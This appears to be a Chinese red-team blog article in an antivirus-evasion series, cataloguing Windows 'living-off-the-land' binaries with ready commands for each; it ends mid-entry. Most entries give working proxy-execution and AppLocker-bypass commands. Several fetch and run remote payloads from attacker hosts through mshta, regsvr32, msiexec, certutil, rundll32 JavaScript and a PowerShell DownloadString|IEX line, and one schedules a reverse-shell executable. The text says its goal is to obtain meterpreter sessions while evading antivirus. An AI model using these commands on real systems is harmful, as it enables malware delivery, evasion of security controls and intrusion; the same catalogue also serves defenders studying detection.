【免殺篇】遠控免殺專題(67)-白名單(113個)總結篇


當你的才華

還撐不起你的野心時

那你就應該靜下心來學習


目錄

0x01 關於白名單程序

0x02 本文內容摘要

0x03 執行命令類(已測試33個)

MSBuild.exe

InstallUtil.exe

Mshta.exe

Rundll32.exe

Regsvr32.exe

Cmstp.exe

Ftp.exe

Regasm.exe/Regsvcs.exe

Compiler.exe

MavInject.exe

presentationhost.exe

IEexec.exe

winrm.vbs/slmgr.vbs

pubprn.vbs

Xwizard.exe

winword.exe

msdeloy.exe

psexec.exe

WMIC.exe

SyncAppvPublishingServer.vbs

Pcalua.exe

zipfldr.dll

Url.dll

DiskShadow.exe

Odbcconf.exe

Forfiles.exe

Te.exe

CScript.exe/WScript.exe

InfDefaultInstall.exe

其他MS windows程序(45個)

At.exe

Atbroker.exe

Bash.exe

Bitsadmin.exe

Certutil.exe

Cmd.exe

Cmdkey.exe

Control.exe

Csc.exe

Dfsvc.exe

Dnscmd.exe

Esentutl.exe

Eventvwr.exe

Expand.exe

Extexport.exe

Extrac32.exe

Findstr.exe

GfxDownloadWrapper.exe

Gpscript.exe

Hh.exe

Ie4uinit.exe

Jsc.exe

Makecab.exe

Mmc.exe

Msconfig.exe

Msdt.exe

Netsh.exe

Pcwrun.exe

Powershell.exe

Print.exe

Reg.exe

Regedit.exe

Register-cimprovider.exe

Replace.exe

Rpcping.exe

Runonce.exe

Runscripthelper.exe

Sc.exe

Schtasks.exe

Scriptrunner.exe

Tttracer.exe

Verclsid.exe

Wab.exe

wmic.exe

Wsreset.exe

0x04 系統庫文件(10個)

Advpack.dll

Comsvcs.dll

Ieadvpack.dll

Ieaframe.dll

Mshtml.dll

Pcwutl.dll

stager.dll/stager.exe

Setupapi.dll

Shdocvw.dll

Shell32.dll

Syssetup.dll

其他MS程序(21個)

Appvlp.exe

Bginfo.exe

Cdb.exe

csi.exe

Devtoolslauncher.exe

dnx.exe

Dotnet.exe

Dxcap.exe

Excel.exe

Mftrace.exe

msxsl.exe

Powerpnt.exe

rcsi.exe

Sqldumper.exe

Sqlps.exe

SQLToolsPS.exe

Squirrel.exe

Tracker.exe

Update.exe

vsjitdebugger.exe

Wsl.exe

0x05 腳本文件(4個)

CL_Mutexverifiers.ps1

CL_Invocation.ps1

Manage-bde.wsf

Pester.bat

0x06 後記


0x01 關於白名單程序

相信大家對白名單程序利用的手法也已經非常熟悉了,白名單程序利用其實是起源於LOLBins,全稱“Living-Off-the-Land Binaries”,直白翻譯爲“生活在陸地上的二進制“,這個概念最初在2013年DerbyCon黑客大會由Christopher Campbell和Matt Graeber進行創造,最終Philip Goh提出了LOLBins這個概念。

什麼程序才能稱之爲LOLBins:

  • 1、可以是帶有Microsoft簽名的二進制文件,可以是Microsoft系統目錄中二進制文件。

  • 2、可以是第三方認證簽名程序。

  • 3、具有對APT或紅隊滲透方有用的功能

  • 4、該程序除過正常的功能外,可以做意料之外的行爲。(如:執行惡意代碼、繞過UAC)。

本系列文章從專題34到專題63,共介紹了33個常見的白名單程序,分別爲:

Rundll32.exe、Msiexec.exe、MSBuild.exe、InstallUtil.exe、Mshta.exe、Regsvr32.exe、Cmstp.exe、CScript.exe、WScript.exe、Forfiles.exe、te.exe、Odbcconf.exe、InfDefaultInstall.exe、Diskshadow.exe、PsExec.exe、Msdeploy.exe、Winword.exe、Regasm.exe、Regsvcs.exe、Ftp.exe、pubprn.vbs、winrm.vbs、slmgr.vbs、Xwizard.exe、Compiler.exe、IEExec.exe、MavInject32、Presentationhost.exe、Wmic.exe、Pcalua.exe、Url.dll、zipfldr.dll、Syncappvpublishingserver.vbs。

其實還有大量的LOLBins程序可以被利用,只是有些利用條件比較苛刻,有些是用來下載而不是用來執行payload的,我從https://lolbas-project.github.io等其他站點共蒐集到113個,除了之前介紹的33個外,還有另外的80個白利用程序也在這做簡要介紹。

由於白名單程序加載payload的免殺測試需要殺軟的行爲檢測才合理,靜態查殺payload或者查殺白名單程序都沒有任何意義,所以這裏對白名單程序的免殺效果不做評判。

免殺系列文章及相關軟件下載:https://github.com/TideSec/BypassAntiVirus

 

0x02 本文內容摘要

1、執行命令類(已測試33個)

這是從衆多白名單程序裏蒐集了一些知名度比較高也比較通用一些的白名單進行了逐一測試,這些程序的具體介紹已經在"Tide安全團隊"公衆號上發佈,這是隻是簡單羅列一下。

2、其他MS windows程序(45個)

這些也都是windows自帶的可執行程序,有的利用起來條件稍微苛刻,感興趣的可以逐一測試。

3、系統庫文件(10個)

windows自帶的dll文件,一般需要使用rundll32來加載執行。

4、其他MS程序(21個)

並非windows自帶,但屬於微軟配套的用的較多的軟件,比如office、donet、visual studio等程序安裝後引入的程序。

5、腳本文件(4個)

windows自帶的腳本文件,可用來加載payload。

 

0x03 執行命令類(已測試33個)

在本免殺專題34到專題63(已發佈在我們團隊的公衆號"Tide安全團隊"上),共蒐集了33個常見的白名單程序,並一一進行了分析和詳細測試,本部分也是對這些已進行了測試的白名單程序進行簡要彙總,詳細測試過程可參考相應文章鏈接。

MSBuild.exe

Microsoft Build Engine是一個用於構建應用程序的平臺,此引擎也被稱爲msbuild,它爲項目文件提供一個XML模式,該模式控制構建平臺如何處理和構建軟件。Visual Studio使用MSBuild,但它不依賴於Visual Studio。通過在項目或解決方案文件中調用msbuild.exe,可以在未安裝Visual Studio的環境中編譯和生成程序。

  • 執行方式:

msbuild.exe加載文件的方式有兩種

1. 本地加載執行:

- %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml

2. 遠程文件執行:

wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml


Msiexec.exe

看到msiexec可能還有點陌生,但說道.msi可能就比較熟悉了,在windows下很多軟件安裝就是.msi格式的。當Windows操作系統安裝了Windows Installer引擎,而MSI軟件包使用該引擎來 安裝應用程序,解釋包和安裝產品的可執行程序就是我們這用到 的Msiexec.exe。

  • 執行方式:

msi文件可以雙擊執行,也可以命令行靜默執行,而且msiexec也同樣支持遠程下載功能,將msi文件上傳到服務器,通過如下命令遠程執行:

msiexec /q /i http://www.tidesec.com/shell/shell.msi

InstallUtil.exe

InstallUtil.exe算是免殺白名單裏使用比較多的一個了,InstallUtil.exe可以用於安裝有.NET開發的所有應用安裝程序,如果要使用 .NET Framework 開發 Windows 服務,則可以使用installutil.exe命令行快速安裝服務應用程序。

metasploit自帶的evasion免殺模塊,就提供了windows/applocker_evasion_install_util來直接創建InstallUtil.exe可加載的payload,詳見遠控免殺專題文章(4)-Evasion模塊免殺(VT免殺率12/71): https://blog.csdn.net/God_XiangYu/article/details/106090482

另外,專題20裏的GreatSCT也提供了基於InstallUtil.exe的免殺: https://blog.csdn.net/God_XiangYu/article/details/106108920

  • 執行方式:

使用csc編譯InstallUtil-ShellCode.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:C:\test\shell.exe C:\test\InstallUtil-ShellCode.cs

使用InstallUtil.exe執行shell.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U C:\test\shell.exe

Mshta.exe

Mshta.exe是微軟Windows操作系統相關程序,英文全稱Microsoft HTML Application,可翻譯爲微軟超文本標記語言應用,用於執行.HTA文件。

路徑:

C:\Windows\System32\mshta.exe
C:\Windows\SysWOW64\mshta.exe
  • 執行方式:

執行hta

mshta.exe evilfile.hta

Rundll32.exe

Rundll32.exe,可以執行32位的DLL文件,以命令行的方式調用動態鏈接程序庫。。它的作用是執行DLL文件中的內部函數,這樣在進程當中,只會有Rundll32.exe,而不會有DLL後門的進程,這樣就實現了進程上的隱藏。系統中還有一個Rundll.exe文件,可以執行16位的DLL文件。

Rundll32.exe令行下的使用方法爲:Rundll32.exe DLLname,Functionname,需注意x86,x64位的Rundll32調用,64位的系統默認調用的是64位Rundll32.exe(在C:\Windows\System32目錄下)。

Windows 7 默認位置:

64位 C:\Windows\System32\rundll32.exe
32位 C:\Windows\SysWOW64\rundll32.exe
  • 執行方式:

Rundll32的使用,參考自ATT&CK手冊。

1)直接執行dll文件

rundll32.exe c:\\windows\\debug\\item.dat,ServiceMain aaaa
rundll32.exe "C:\Windows\twain_64.dll",EntryPoint

 

2)調用系統中原生存在的dll中的未記錄dll函數

2.1)調用shell32.dll函數執行控制面板項文件(.cpl)

rundll32 shell32.dll,Control_RunDLL <文件名>
control.exe test.cpl

2.2)Advpack.dll - LaunchINFSection

advpack.dll用於幫助硬件和軟件讀取和驗證·INF文件。正如老話所說,”大部分安全問題本質就是功能被誤用“,advpack.dll也可以被攻擊者利用進行代碼/指令代理執行,

rundll32.exe advpack.dll,LaunchINFSection  c:\test.inf,DefaultInstall_SingleUser,1,
C:\\Windows\\System32\\rundll32 advpack.dll,LaunchINFSectionEx C:\\Windows\\system32\\ieuinit.inf,Install
Requires admin: No
Windows binary: Yes
Bypasses AppLocker Default rules: Yes

2.3)Advpack.dll - RegisterOCX​​​​​​​

rundll32.exe advpack.dll,RegisterOCX calc.exe
Requires admin: No
Windows binary: Yes
Bypasses AppLocker Default rules: Yes

2.4)zipfldr.dll - RouteTheCall

rundll32.exe zipfldr.dll,RouteTheCall calc.exe

2.5)url.dll - OpenURL​​​​​​​

rundll32  url.dll,OpenURL file://C:/Windows/system32/calc.exe 
rundll32.exe url.dll,OpenURL "C:\test\calc.hta"
rundll32.exe url.dll,OpenURL "C:\test\calc.url"
rundll32.exe  url.dll,OpenURL http://192.168.1.4/Micropoor_url_dll.hta

2.6)url.dll - FileProtocolHandler

rundll32.exe url.dll, FileProtocolHandler calc.exe

2.7)ieframe.dll - OpenURL

rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url"

2.8)shdocvw.dll - OpenURL

rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.url"

2.9)ieadvpack.dll - LaunchINFSection

rundll32.exe ieadvpack.dll,LaunchINFSection test.inf,,1,

2.10)shell32.dll - ShellExec_RunDLL​​​​​​​

rundll32.exe shell32.dll,ShellExec_RunDLL 
C:\Windows\System32\calc.exe

2.11)pcwutl.dll - LaunchApplication

rundll32.exe C:\Windows\System32\pcwutl.dll,LaunchApplication calc.exe

2.12)Setupapi.dll - InstallHinfSection​​​​​​​

# Launch an executable file via the InstallHinfSection function and .inf file section directive.
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\\Tools\\calc_exe.inf

2.13)Syssetup.dll - SetupInfObjectInstallAction​​​​​​​

# Launch an executable file via the SetupInfObjectInstallAction function and .inf file section directive.
rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\temp\something.inf

3)執行javascript腳本​​​​​​​

rundll32 javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://reverse-tcp.xyz/payload.sct");window.close();
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

Regsvr32.exe

Regsvr32是一個命令行實用程序,用於註冊和取消註冊OLE控件,例如Windows註冊表中的DLL和ActiveX控件,以命令行方式運行。Regsvr32.exe安裝在Windows XP及更高版本的Windows的%systemroot%\System32 文件夾中。當通過regsvr32中註冊一個dll文件時,有關與regsvr32關聯的程序的信息將會被添加到Windows中,然後訪問這些進程查看器以瞭解程序數據的位置以及如何與程序數據進行交互。在註冊一個dll文件時,會將信息添加到目錄中,以便Windows可以使用它。通常,除了註冊和註銷dll文件外,此文件不常用。

Regsvr32.exe分32位和64位,在windows系統中的位置​​​​​​​

64位:C:\WINDOWS\SysWOW64\regsvr32.exe
32位:C:\WINDOWS\system32\regsvr32.exe
  • 執行方式:

執行本地腳本

regsvr32.exe /s /u /i:file.sct scrobj.dll

加載遠程腳本執行​​​​​​​

regsvr32.exe /s /u /i:http://reverse-tcp.xyz/file.sct scrobj.dll
regsvr32.exe /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

 

Cmstp.exe

Microsoft連接管理器配置文件安裝程序(CMSTP.exe)是用於安裝連接管理器服務配置文件的命令行程序。CMSTP.exe接受安裝信息文件(INF)作爲參數,並安裝用於遠程訪問連接的服務配置文件。

攻擊者可能會使用CMSTP.exe調用惡意的INF文件。與Regsvr32 相似,CMSTP.exe可能被利用從遠程服務器加載和執行DLL或COM腳本(SCT)。由於CMSTP.exe是合法的,經過簽名的Microsoft應用程序,因此該執行過程也可以繞過AppLocker和其他白名單防禦。

在windows中文件路徑​​​​​​​

64位 C:\Windows\System32\cmstp.exe32位 C:\Windows\SysWOW64\cmstp.exe
  • 執行方式:

執行本地payload:cmstp.exe /ni /s c:\cmstp\CorpVPN.inf

執行遠程payload:cmstp.exe /ni /s \\10.211.55.28\test\cmstp.inf

Ftp.exe

Ftp.exe是Windows本身自帶的一個程序,屬於微軟FTP工具,提供基本的FTP訪問。

Windows 2003 默認位置:​​​​​​​

C:\Windows\System32\ftp.exe
C:\Windows\SysWOW64\ftp.exe

Windows 7 默認位置:​​​​​​​

C:\Windows\System32\ftp.exe
C:\Windows\SysWOW64\ftp.exe
  • 執行方式:
echo !calc.exe > ftpcommands.txt && ftp -s:ftpcommands.txt

Regasm.exe/Regsvcs.exe

Regsvcs和Regasm是Windows命令行實用程序,用於註冊.NET組件對象模型(COM)程序集。兩者都是由Microsoft進行數字簽名的。攻擊者可以使用Regsvcs和Regasm代理通過受信任的Windows實用程序執行代碼。兩個實用程序可用於通過使用二進制內的屬性來繞過進程白名單,以指定應在註冊或取消註冊之前運行的代碼:[ComRegisterFunction]或[ComUnregisterFunction]分別。即使進程在權限不足的情況下運行並且無法執行,也將執行具有註冊和取消註冊屬性的代碼。

  • 執行方式:

    regasm.exe AllTheThingsx64.dll
    regsvcs.exe AllTheThingsx64.dll

     

Compiler.exe

Microsoft.Workflow.Comiler.exe是.NET Framework默認自帶的一個實用工具,用戶能夠以XOML工作流文件的形式提供一個序列化工作流來執行任意未簽名的代碼。

注意:如果Microsoft.Workflow.Compiler命令無法識別,可能是Microsoft.Workflow.Compiler.exe所在路徑沒有被系統添加PATH環境變量中。

Win7的Compiler.exe默認位置:​​​​​​​

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe

 

  • 執行方式

Microsoft.Workflow.Compiler.exe tests.xml results.xml

MavInject.exe

MavInject32.exe是微軟應用程序虛擬化的一部分,可以直接完成向某一進程注入代碼的功能。

64位系統下的文件位置:C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe

  • 執行方式:

C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" <PID> /INJECTRUNNING <PATH DLL>

presentationhost.exe

Presentationhost.exe是一個內置的Windows可執行文件,用於運行XAML瀏覽器應用程序(即.xbap文件)。在多個AppLocker白名單繞過列表中,Presentationhost.exe都位列其中(例如api0cradl和milkdevil)。

當我們打開.xbap文件的時候其實不是在IE中啓動的應用程序,而是在Presentationhost.exe中運行,通常是在一個沙箱中以保護用戶免受惡意代碼的攻擊。

  • 執行方式:

Presentationhost.exe C:\temp\Evil.xbap

IEexec.exe

IEexec.exe應用程序是.NET Framework附帶程序,存在於多個系統白名單內。可以將IEExec.exe應用程序用作主機,以運行使用URL啓動的其他託管應用程序。

IEexe.exe在64位系統路徑爲:C:\Windows\Microsoft.NET\Framework64\v2.0.50727

  • 執行方式:

ieexec.exe http://x.x.x.x:8080/bypass.exe

winrm.vbs/slmgr.vbs

winrm.vbs(System32中的Windows簽名腳本)能夠使用和執行攻擊者控制的XSL,而XSL不受“enlightened script host”的限制,導致任意的、無簽名的代碼執行。

winrm.vbs文件位置:​​​​​​​

C:\windows\system32\winrm.vbs
C:\windows\SysWOW64\winrm.vbs

 

  • 執行方式:

cscript /b C:\Windows\System32\slmgr.vbs
winrm quickconfig

pubprn.vbs

在Windows 7+上,存在一個Microsoft簽名的WSH腳本,名爲PubPrn.vbs,該腳本位於“ C:\ Windows \ System32 \ Printing_Admin_Scripts \ en-US中。在查看此特定腳本時,很明顯它正在接受用戶提供的輸入(通過命令行參數)並將參數傳遞給“GetObject()

文件位置:C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs

  • 執行方式:

C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:http://10.211.55.5/msf.sct

Xwizard.exe

xwizard.exe應該爲Extensible wizard的縮寫,中文翻譯可擴展的嚮導主機進程,暫時無法獲得官方資料。

利用xwizard.exe加載dll可以繞過應用程序白名單限制,該方法最大的特點是xwizard.exe自帶微軟簽名,在某種程度上說,能夠繞過應用程序白名單的攔截。

xwizard.exe支持Win7及以上操作系統,位於%windir%\system32\下。

對應64位系統:

  • %windir%\system32\對應64位xwizard.exe,只能加載64位xwizards.dll

  • %windir%\SysWOW64\對應32位xwizard.exe,只能加載32位xwizards.dll

  • 執行方式:

xwizard processXMLFile 1.txt

winword.exe

winword.exe是微軟Microsoft Word的主程序。該字處理程序是微軟Microsoft Office組件的一部分。

  • 執行方式:

winword.exe "http://192.168.19.146/shell.dll"

msdeloy.exe

msdeploy.exe是微軟提供的web部署命令行工具,通過它可以方便的部署web應用、數據庫等,路徑在C:\Program Files\IIS\Microsoft Web Deploy V3。msdeloy.exe可以使IIS可以在本地或遠程同步,打包和部署Web應用程序,網站或Web服務器內容和配置。它具有衆多功能,這些功能可以高度精確地包括要處理的那些組件,並排除那些不需要的組件。爲了能夠使用Web Deploy,必須已在源計算機和目標計算機上安裝IIS。

  • 執行方式:

msdeploy.exe -verb:sync -source:RunCommand -dest:Runcommand="C:\Program Files\IIS\Microsoft Web Deploy V3\w_re.exe"

psexec.exe

PsExec是SysinternalsSuite的小工具之一,是一種輕量級的telnet替代品,允許在其他系統上執行進程,完成控制檯應用程序的完全交互,而無需手動安裝客戶端軟件,並且可以獲得與控制檯應用程序相當的完全交互性。在windows系統並未默認安裝,下載地址見參考文章。

  • 執行方式:

psexec執行payload:​​​​​​​

psexec.exe -s -d msiexec /q /i http://yourservice/shell/win_re.txt
//-s 以system權限執行
// -d 不產生交互式窗口

 

WMIC.exe

WMIC擴展WMI(Windows Management Instrumentation,Windows管理工具),提供了從命令行接口和批命令腳本執行系統管理的支持。在WMIC出現之前,如果要管理WMI系統,必須使用一些專門的WMI應用,例如SMS,或者使用WMI的腳本編程API,或者使用象CIM Studio之類的工具。如果不熟悉C++之類的編程語言或VBScript之類的腳本語言,或者不掌握WMI名稱空間的基本知識,要用WMI管理系統是很困難的。WMIC改變了這種情況。

Windows 2003 默認位置:

C:\WINDOWS\system32\wbem\wmic.exe C:\WINDOWS\SysWOW64\wbem\wmic.exe

Windows 7 默認位置:

C:\Windows\System32\wbem\WMIC.exe C:\Windows\SysWOW64\wbem\WMIC.exe
  • 執行方式

wmic os get /FORMAT:"http://10.211.55.10/payload.xsl"

SyncAppvPublishingServer.vbs

Windows上有兩個版本的SyncAppVPublishingServer工具,它們是:SyncAppvPublishingServer.exe、SyncAppvPublishingServer.vbs,可以用他們來取代powershell。

  • 執行方式:

在powershell下執行

SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX"

Pcalua.exe

Pcalua是Windows進程兼容性助理(Program Compatibility Assistant)的一個組件。

默認在C:\Windows\System32\pcalua.exe

  • 執行方式:

Pcalua -m -a payload

zipfldr.dll

zipfldr.dll自Windows xp開始自帶的zip文件壓縮/解壓工具組件。

說明:zipfldr.dll所在路徑已被系統添加PATH環境變量中,因此,zipfldr.dll命令可識別,但由於爲dll文件,需調用rundll32.exe來執行。Windows 2003 默認位置:​​​​​​​

C:\Windows\System32\zipfldr.dll
C:\Windows\SysWOW64\zipfldr.dll

Windows 7 默認位置:​​​​​​​

C:\Windows\System32\zipfldr.dll
C:\Windows\SysWOW64\zipfldr.dll
  • 執行方式:
rundll32.exe zipfldr.dll,RouteTheCall msf.exe

Url.dll

url.dll是Internet快捷殼擴展相關應用程序接口系統文件。url.dll所在路徑已被系統添加PATH環境變量中,因此,url.dll命令可識別,但由於爲dll文件,需調用rundll32.exe來執行。

Windows 2003 默認位置:​​​​​​​

C:\Windows\System32\url.dll
C:\Windows\SysWOW64\url.dll

Windows 7 默認位置:​​​​​​​

C:\Windows\System32\url.dll
C:\Windows\SysWOW64\url.dll
  • 執行方式:
rundll32.exe url.dll, OpenURL file://c:\windows\system32\calc.exe
rundll32.exe url.dll, OpenURLA file://c:\windows\system32\calc.exe
rundll32.exe url.dll, FileProtocolHandler calc.exe

DiskShadow.exe

diskshadow.exe是一種工具,可公開卷影複製服務(VSS)提供的功能。默認情況下,diskshadow使用類似於diskraid或DiskPart的交互式命令解釋器。diskshadow還包括可編寫腳本的模式。(詳見微軟官方文檔https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow)

  • 執行方式:

diskshadow.exe /s c:\test\diskshadow.txt

Odbcconf.exe

Odbcconf.exe是一個命令行工具,可讓您配置ODBC驅動程序和數據源名稱(微軟官方文檔https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver15)。

Odbcconf.exe在windows中的的一般路徑爲C:\Windows\System32\odbcconf.exe  C:\Windows\SysWOW64\odbcconf.exe

  • 執行方式:

odbcconf.exe /a {regsvr C:\Users\Administrator\Desktop\hacker.dll}

Forfiles.exe

Forfiles是一款windows平臺默認安裝的文件操作搜索工具之一,可以通過文件名稱,修改日期等條件選擇文件並運行一個命令來操作文件。它可以直接在命令行中使用,也可以在批處理文件或其他腳本中使用。

默認安裝位置:​​​​​​​

C:\WINDOWS\system32\forfiles.exe
C:\WINDOWS\SysWOW64\forfiles.exe

說明:Forfiles.exe所在路徑已被系統添加PATH環境變量中,因此,Forfiles命令可識別,需注意x86,x64位的Forfiles調用。

  • 執行方式:

forfiles /p c:\windows\system32 /m cmd.exe /c "msiexec.exe /q /i C:\Users\administrator\Desktop\TIDE.txt"

Te.exe

如果安裝了TAEF(Test Authoring and Execution Framework)框架並且位於列入白名單的路徑中,則可以使用它,需要在計算機上安裝Visual Studio和WDK。

微軟官方文檔:https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/

默認安裝位置:

C:\ program files(x86)\Windows Kits\10\testing\Runtimes\TAEF

使用腳本語言編寫測試,Windows僅支持JScript和VBScript。

  • 執行方式:

te.exe bypass.wsc

CScript.exe/WScript.exe

系統文件cscript.exe是存放在Windows系統文件夾中的重要文件,通常情況下是在安裝操作系統過程中自動創建的,對於系統正常運行來說至關重要,Windows Script Host引擎在cscript.exe來尋找和連接腳本的運行庫,最常見的有VBScript和JavaScript。

wscript全稱“Windows Scripting Host”,是一種批次語言/自動執行工具——它所對應的程序“wscript.exe”是一個腳本語言解釋器,位於C:\WINDOWS\system32目錄下,正是它才使得腳本可以被執行,就象執行批處理一樣,可以拿來執行.wsh,.vbs,.js等。

WScript是一個窗口化的版本;CScript是一個命令行的版本。兩種版本都可以運行任何腳本。二者之間的區別是,窗口化版本(WScript)使用一個彈出對話框來顯示文本輸出消息,而命令行版本(CSCript)通過命令行程序所見的、常規的“標準輸出”方法來顯示文本。

CScript/WScript可以用來執行vbs和js等腳本,是否能達到免殺的目的取決於執行的腳本本身的免殺能力。

  • 執行方式:

使用cscript.exe執行生成的vbs腳本。

cscript.exe TIDE.vbs

使用WScript.exe執行vbs反彈腳本,和cscript.exe相比命令行中沒有文本輸出信息。

WScript.exe TIDE.vbs

InfDefaultInstall.exe

InfDefaultInstall.exe是一個用來進行inf安裝的工具,具有微軟簽名,存在路徑爲:​​​​​​​

C:\Windows\System32\Infdefaultinstall.exe
C:\Windows\SysWOW64\Infdefaultinstall.exe
  • 執行方式:
InfDefaultInstall.exe "C:\xxx\shady.inf"

其他MS windows程序(45個)

At.exe

  • 使用說明:

windows計劃任務程序。

文件路徑:​​​​​​​

C:\WINDOWS\System32\At.exe
C:\WINDOWS\SysWOW64\At.exe
  • 執行方式:
C:\Windows\System32\at.exe at 09:00 /interactive /every:m,t,w,th,f,s,su C:\Windows\System32\revshell.exe
  • 參考資料:

https://freddiebarrsmith.com/at.txt

https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html - Escalate to System from Administrator

https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems

Atbroker.exe

  • 使用說明:

windows輔助技術AT程序。

文件路徑:​​​​​​​

C:\Windows\System32\Atbroker.exe
C:\Windows\SysWOW64\Atbroker.exe
  • 執行方式:
ATBroker.exe /start malware
  • 參考資料:

http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/

Bash.exe

  • 使用說明:Windows子系統用於Linux的文件

文件路徑:​​​​​​​

C:\Windows\System32\bash.exe
C:\Windows\SysWOW64\bash.exe
  • 執行方式:
bash.exe -c calc.exe
  • 參考資料:

https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

Bitsadmin.exe

  • 使用說明:用於管理後臺文件傳輸的程序。

文件路徑:​​​​​​​

C:\Windows\System32\bitsadmin.exe
C:\Windows\SysWOW64\bitsadmin.exe
  • 執行方式:
bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset

下載文件

bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
  • 參考資料:

  • https://www.slideshare.net/chrisgates/windows-attacks-at-is-the-new-black-26672679 - slide 53
    
    https://www.youtube.com/watch?v=_8xJaaQlpBo
    
    https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

     

Certutil.exe

  • 使用說明:

Certutil.exe是一個命令行程序,作爲證書服務的一部分安裝。我們可以使用此工具在目標計算機上執行我們的惡意exe文件以獲取meterpreter會話。

文件路徑:​​​​​​​

C:\Windows\System32\certutil.exe
C:\Windows\SysWOW64\certutil.exe
  • 執行方式:
certutil -urlcache -split -f http://x.x.x.x/msf a.exe && a.exe
certutil.exe -urlcache -split -f http://x.x.x.x/x.jar &&java -jar x.jar
certutil.exe -verifyctl -f -split http://7-zip.org/a/7z1604-x64.exe 7zip.exe
certutil -encode inputFileName encodedOutputFileName
certutil -decode encodedInputFileName decodedOutputFileName
  • 參考資料:

https://twitter.com/Moriarty_Meng/status/984380793383370752https://twitter.com/mattifestation/status/620107926288515072https://twitter.com/egre55/status/1087685529016193025

Cmd.exe

  • 使用說明:

windows命令行程序。

文件路徑:​​​​​​​

C:\Windows\System32\cmd.exeC:\Windows\SysWOW64\cmd.exe
  • 執行方式:

cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct ^scrobj.dll > fakefile.doc:payload.bat
cmd.exe - < fakefile.doc:payload.bat
  • 參考資料:

https://twitter.com/yeyint_mth/status/1143824979139579904

Cmdkey.exe

  • 使用說明:創建、列出和刪除存儲的用戶名以及密碼或憑據。

文件路徑:​​​​​​​

C:\Windows\System32\cmdkey.exeC:\Windows\SysWOW64\cmdkey.exe
  • 執行方式:

cmdkey /list
  • 參考資料:

https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalationhttps://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey

Control.exe

  • 使用說明:

用於在Windows中啓動控制面板項目的程序。

文件路徑:​​​​​​​

C:\Windows\System32\control.exeC:\Windows\SysWOW64\control.exe
  • 執行方式:

control.exe c:\windows\tasks\file.txt:evil.dll
  • 參考資料:

https://pentestlab.blog/2017/05/24/applocker-bypass-control-panel/https://www.contextis.com/resources/blog/applocker-bypass-registry-key-manipulation/https://twitter.com/bohops/status/955659561008017409https://docs.microsoft.com/en-us/windows/desktop/shell/executing-control-panel-itemshttps://bohops.com/2018/01/23/loading-alternate-data-stream-ads-dll-cpl-binaries-to-bypass-applocker/

Csc.exe

  • 使用說明:

.NET可以使用csc程序來編譯C#代碼。

文件路徑:​​​​​​​

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\Csc.exe
  • 執行方式:

csc.exe -out:My.exe File.cscsc -target:library File.cs
  • 參考資料:

https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/command-line-building-with-csc-exe

Dfsvc.exe

  • 使用說明:

dfsvc.exe是用來檢查應用程序是否已經安裝並且是最新的,如果需要的話將應用程序下載到用戶AppData中的ClickOnce文件夾,然後從當前位置(隨着每次更新而改變)啓動它。

文件路徑:​​​​​​​

C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe
  • 執行方式:

rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo
  • 參考資料:

